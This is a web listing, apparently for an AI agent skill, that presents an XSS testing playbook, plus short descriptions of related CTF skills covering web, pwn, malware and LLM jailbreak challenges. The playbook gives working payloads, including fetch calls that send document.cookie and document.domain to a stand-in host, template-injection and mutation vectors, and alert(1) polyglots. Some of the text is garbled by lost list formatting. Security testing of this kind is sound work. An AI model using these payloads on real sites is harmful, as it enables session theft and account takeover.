用于对抗样本、模型提取、提示注入、成员推断、训练投毒、LoRA 滥用、LLM 越狱等 AI/ML 相关 CTF 题;触发名:ctf-ai-ml
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
Strix XSS 测试手册,覆盖反射型、存储型、DOM 型向量与 CSP 绕过;触发名:strix-xss
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
설치 방법 보기설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.
Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
Types
Contexts
Frameworks
Defenses to Bypass
Server Render
Client Render
innerHTML/outerHTML/insertAdjacentHTML, template literalsdangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}URL/DOM
location.hash/search, document.referrer, base href, data-* attributesEvents/Handlers
onerror/onload/onfocus/onclick and javascript: URL handlersCross-Context
File/Metadata
< > & " '" ' < > & and ensure attribute quoted; avoid unquoted attributesJSON.stringifyurl() and expression()Sources
location.* (hash/search), document.referrer, postMessage, storage, service worker messagesSinks
innerHTML/outerHTML/insertAdjacentHTML, document.writesetAttribute, setTimeout/setInterval with stringseval/Function, new Worker with blob URLsVulnerable Pattern
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;
Exploit: ?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>
Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):
<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>
Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
data: blob: allowed, inline events allowedKeep a compact set tuned per context:
<svg onload=alert(1)>" autofocus onfocus=alert(1) x="onmouseover=alert(1)"-alert(1)-"javascript:alert(1)dangerouslySetInnerHTMLv-html and dynamic attribute bindings$sce trust APIs misused to whitelist attacker content{@html} and dynamic attributesjavascript: in links and submit actionstext/html or image/svg+xml can execute inlineContent-Disposition: attachmentX-Content-Type-Options: nosniffContext + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.
아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.
로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.
아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.
用于对抗样本、模型提取、提示注入、成员推断、训练投毒、LoRA 滥用、LLM 越狱等 AI/ML 相关 CTF 题;触发名:ctf-ai-ml
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
用于 XSS、SQL 注入、SSTI、SSRF、XXE、JWT、鉴权绕过、文件上传、请求走私、OAuth/OIDC、SAML 与原型污染等 Web 类 CTF 题;触发名:ctf-web
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
用于缓冲区溢出、格式化字符串、堆利用、ROP、ret2libc、shellcode、内核利用、seccomp 绕过与沙箱逃逸等 pwn 类 CTF 题;触发名:ctf-pwn
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
用于 RSA、AES、ECC、格攻击、LWE、CVP、Coppersmith、Pollard、Wiener、填充预言机、GCM、KDF、伪随机数与零知识证明等密码学和数学类 CTF 题;触发名:ctf-crypto
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
用于公开资料检索、社交媒体分析、地理定位、DNS、用户名枚举、反向图片搜索、历史快照、公开记录与坐标识别等 OSINT 类 CTF 题;触发名:ctf-osint
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
用于混淆脚本、恶意样本、自定义加密协议、C2 流量、PE/.NET 二进制、RC4/AES 通信、YARA、shellcode、进程注入与反分析等恶意软件类 CTF 题;触发名:ctf-malware
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.